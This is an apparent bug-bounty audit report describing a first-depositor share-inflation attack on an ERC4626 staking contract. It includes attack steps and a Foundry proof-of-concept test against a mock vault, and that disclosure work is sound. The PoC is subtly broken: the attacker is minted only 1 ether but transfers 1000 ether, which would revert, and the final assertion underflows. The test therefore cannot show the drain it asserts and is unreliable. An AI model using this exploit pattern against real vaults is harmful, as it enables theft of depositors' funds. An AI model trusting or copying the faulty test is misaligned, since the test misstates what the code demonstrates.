# 57924 sc critical the staking contract is suceptible to the classic first depositor exploit

Submitted on Oct 29th 2025 at 13:37:26 UTC by @TheWeb3Mechanic for [Audit Comp | Belong](https://immunefi.com/audit-competition/audit-comp-belong)

* Report ID: #57924
* Report Type: Smart Contract
* Report severity: Critical
* Target: <https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/periphery/Staking.sol>

{% hint style="danger" %}
Critical: direct theft of any user funds (other than unclaimed yield) is possible.
{% endhint %}

## Impacts

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

### Brief / Intro

The staking contract inherits the solady implementation of ERC4626. However, the virtual offset that was put in place to ensure that users are protected from losses due to inflation was never set to a non-zero value. Hence the inflation vector still exists.

### Vulnerability Details

The inflation vector is currently present because:

* virtual offset is currently unset
* The totalAsset used in share calculation depends directly on contract balance
* There is no revert when users get minted 0 shares

Attack outline:

1. Attacker deposits 1 wei of LONG token via `Staking::deposit` and gets minted 1 wei share token (becomes the only shareholder).
2. Attacker directly transfers additional tokens into the contract (not via deposit), inflating `totalAssets`.
3. A subsequent legitimate depositor calls `deposit` and, due to rounding, receives 0 shares while their assets end up in the contract.
4. Attacker (owning the only share) back-runs or simply calls `withdraw` and claims almost the entire contract balance.

Relevant vulnerable line in the solady-derived code:

```solidity
    function convertToShares(uint256 assets) public view virtual returns (uint256 shares) {
        if (!_useVirtualShares()) {
            uint256 supply = totalSupply();
            return _eitherIsZero(assets, supply)
                ? _initialConvertToShares(assets)
                : FixedPointMathLib.fullMulDiv(assets, supply, totalAssets());
        }
        uint256 o = _decimalsOffset();
        if (o == uint256(0)) {
@>>         return FixedPointMathLib.fullMulDiv(assets, totalSupply() + 1, _inc(totalAssets()));
        }
        return FixedPointMathLib.fullMulDiv(assets, totalSupply() + 10 ** o, _inc(totalAssets()));
    }
```

The highlighted return computes shares as assets \* (totalSupply + 1) / \_inc(totalAssets). When totalAssets is large relative to assets \* (totalSupply + 1), this division can round down to 0. Because the contract does not revert when 0 shares are minted, the depositor loses their tokens to the vault while receiving 0 shares. The attacker can then withdraw all funds since they control the only shares.

### Impact Details

* Loss of funds for depositors who receive 0 shares (their tokens become unrecoverable by them and can be withdrawn by the attacker who holds shares).

## References

<https://github.com/immunefi-team/audit-comp-belong/blob/a17f775dcc4c125704ce85d4e18b744daece65af/contracts/v2/periphery/Staking.sol#L242>

## Proof of Concept

<details>

<summary>Foundry test reproducing the exploit (expand to view)</summary>

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.19;

import "forge-std/Test.sol";

/// @notice Minimal ERC20 for testing
contract MockToken {
    string public name;
    string public symbol;
    uint8 public decimals = 18;
    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(string memory _name, string memory _symbol) {
        name = _name;
        symbol = _symbol;
    }

    function mint(address to, uint256 amount) external {
        totalSupply += amount;
        balanceOf[to] += amount;
        emit Transfer(address(0), to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 allowed = allowance[from][msg.sender];
        require(allowed >= amount, "allowance");
        allowance[from][msg.sender] = allowed - amount;
        return _transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool) {
        require(balanceOf[from] >= amount, "balance");
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);
}

/// @notice Minimal vulnerable vault reproducing the attack surface described.
/// - Uses balanceOf(token, address(this)) as totalAssets()
/// - convertToShares implements the vulnerable branch: when virtual offset = 0 it does:
///     shares = assets * (totalSupply + 1) / _inc(totalAssets)
///   This allows rounding to zero when totalAssets is large.
/// - deposit does NOT revert on minting 0 shares.
contract VulnerableVault {
    MockToken public token;

    // simple ERC20-like ledger for shares
    mapping(address => uint256) public balanceOf;
    uint256 public totalSupply;

    event Deposit(address indexed caller, address indexed receiver, uint256 assets, uint256 shares);
    event Withdraw(address indexed caller, address indexed receiver, uint256 assets, uint256 shares);

    constructor(MockToken _token) {
        token = _token;
    }

    /// @notice totalAssets is simply the token balance of this contract
    function totalAssets() public view returns (uint256) {
        return token.balanceOf(address(this));
    }

    /// @notice vulnerable convertToShares - reproduces the problematic line
    function convertToShares(uint256 assets) public view returns (uint256 shares) {
        uint256 supply = totalSupply;
        // mimic the branch: virtual offset not used -> _decimalsOffset() == 0
        // return fullMulDiv(assets, totalSupply + 1, _inc(totalAssets));
        // for simplicity, _inc(totalAssets) = totalAssets + 1 (matching _inc semantics)
        uint256 denom = totalAssets() + 1;
        // if denom is very large compared to assets * (supply + 1), this returns 0
        if (denom == 0) return 0; // not needed but safe
        unchecked {
            uint256 numerator = assets * (supply + 1);
            return numerator / denom; // vulnerable rounding to zero possible
        }
    }

    /// @notice deposit: transfers tokens from caller and mints shares to receiver.
    ///         **Does not revert if shares == 0** (vulnerability).
    function deposit(uint256 assets, address receiver) public returns (uint256 shares) {
        // transfer assets into vault
        require(token.transferFrom(msg.sender, address(this), assets), "transferFrom failed");
        shares = convertToShares(assets);
        if (shares > 0) {
            _mint(receiver, shares);
        }
        emit Deposit(msg.sender, receiver, assets, shares);
    }

    /// @notice withdraw: burns shares from caller and sends proportional assets
    function withdraw(uint256 shares, address receiver) public returns (uint256 assetsOut) {
        require(balanceOf[msg.sender] >= shares, "insufficient shares");
        // assetsOut = shares * totalAssets / totalSupply
        uint256 ta = totalAssets();
        require(totalSupply > 0, "no supply");
        unchecked {
            assetsOut = shares * ta / totalSupply;
        }
        _burn(msg.sender, shares);
        // transfer assetsOut to receiver
        require(token.transfer(receiver, assetsOut), "transfer failed");
        emit Withdraw(msg.sender, receiver, assetsOut, shares);
    }

    /* ========== internal share bookkeeping ========== */
    function _mint(address to, uint256 amount) internal {
        totalSupply += amount;
        balanceOf[to] += amount;
    }

    function _burn(address from, uint256 amount) internal {
        balanceOf[from] -= amount;
        totalSupply -= amount;
    }
}

/// @notice Foundry test that demonstrates the exploit
contract VulnerableVaultTest is Test {
    MockToken token;
    VulnerableVault vault;

    address attacker = address(0xAA);
    address victim = address(0xBB);

    function setUp() public {
        token = new MockToken("Long Token", "LONG");
        vault = new VulnerableVault(token);

        // mint tokens to attacker and victim
        token.mint(attacker, 1 ether); // attacker has plenty
        token.mint(victim, 1000 ether); // victim has large balance

        // label addresses for easier debug
        vm.label(attacker, "Attacker");
        vm.label(victim, "Victim");
        vm.label(address(vault), "Vault");
        vm.label(address(token), "LONG");
    }

    function testExploit_zeroShareMinting_and_drain() public {
        // attacker initial deposit: 1 wei (use 1 instead of 1e18 to demonstrate tiny deposit)
        uint256 attackerInitialDeposit = 1; // 1 wei
        vm.prank(attacker);
        token.approve(address(vault), type(uint256).max);

        vm.prank(attacker);
        // deposit 1 wei -> convertToShares should return 1 share (since supply is 0 -> numerator assets*(0+1)=1; denom totalAssets+1 before transfer is 0+1=1 => 1/1 =1)
        vault.deposit(attackerInitialDeposit, attacker);

        // sanity checks
        assertEq(vault.totalSupply(), 1, "attacker should have 1 share");
        assertEq(token.balanceOf(address(vault)), 1, "vault should hold 1 wei");

        // attacker inflates the vault by transferring tokens directly (not via deposit)
        uint256 attackerDirectInflation = 1000 ether;
        // attacker already has tokens, transfer directly (no approve needed)
        vm.prank(attacker);
        token.transfer(address(vault), attackerDirectInflation);

        // now totalAssets() is 1 + attackerDirectInflation
        uint256 ta = vault.totalAssets();
        assertEq(ta, 1 + attackerDirectInflation, "totalAssets should reflect direct transfer");

        // Victim attempts to deposit a very large amount (100 ether) but will receive 0 shares because convertToShares rounds down.
        uint256 victimDeposit = 100 ether;
        vm.prank(victim);
        token.approve(address(vault), type(uint256).max);

        vm.prank(victim);
        vault.deposit(victimDeposit, victim);

        // Because convertToShares returns 0, victim has 0 shares
        assertEq(vault.balanceOf(victim), 0, "victim got 0 shares");

        // victim's tokens are still in the vault (unrecoverable by victim)
        uint256 expectedVaultBalance = ta + victimDeposit;
        assertEq(token.balanceOf(address(vault)), expectedVaultBalance, "victim tokens stuck in vault");

        // Attacker withdraws their single share -> since totalSupply == 1, attacker can claim the full vault balance
        vm.prank(attacker);
        vault.withdraw(1, attacker);

        // Attacker now receives nearly all vault funds (should be expectedVaultBalance)
        assertEq(token.balanceOf(attacker), 1 ether - attackerInitialDeposit - attackerDirectInflation + expectedVaultBalance, "attacker should have drained the vault");

        // Vault balance after attacker withdraw should be 0 (or leave dust if rounding)
        assertLe(token.balanceOf(address(vault)), 1, "vault drained (at most 1 wei left)");
    }
}
```

</details>
